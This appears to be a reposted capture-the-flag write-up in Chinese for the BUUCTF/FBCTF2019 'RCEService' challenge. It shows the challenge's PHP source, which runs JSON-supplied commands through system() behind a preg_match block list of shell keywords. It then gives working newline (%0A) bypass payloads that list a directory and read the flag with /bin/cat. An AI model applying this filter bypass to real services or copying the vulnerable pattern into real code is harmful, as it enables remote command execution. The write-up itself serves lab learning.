BUUCTF:[FBCTF2019]RCEService

打开界面
在这里插入图片描述
可以看见提示说要用JSON格式输入cmd中
先尝试一下

{"cmd":"ls"}

在这里插入图片描述
出现一个index.php文件
但是获取不到,题目也没有其他信息,然后发现原本题目是提供了源码的,去网上找了找

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

可以看到,其中过滤了很多函数命令
但是,preg_match只能匹配第一行的数据,(注:如果我们要匹配所有的数据可以使用preg_match_all函数)
所以这里我们可以采取多行绕过的方式,就要用到换行符 %0A
而源码告诉了路径 putenv(‘PATH=/home/rceservice/jail’);
知道了之前用ls的原因是因为ls的二进制文件放在这个目录下

看看这个路径有啥:

?cmd={%0A"cmd":%20"ls%20/home/rceservice"%0A}

可以看见flag果然在里面
在这里插入图片描述
因为已经告诉路径,我们只能用绝对路径去调用系统命令

?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/m0_46481239/article/details/106905978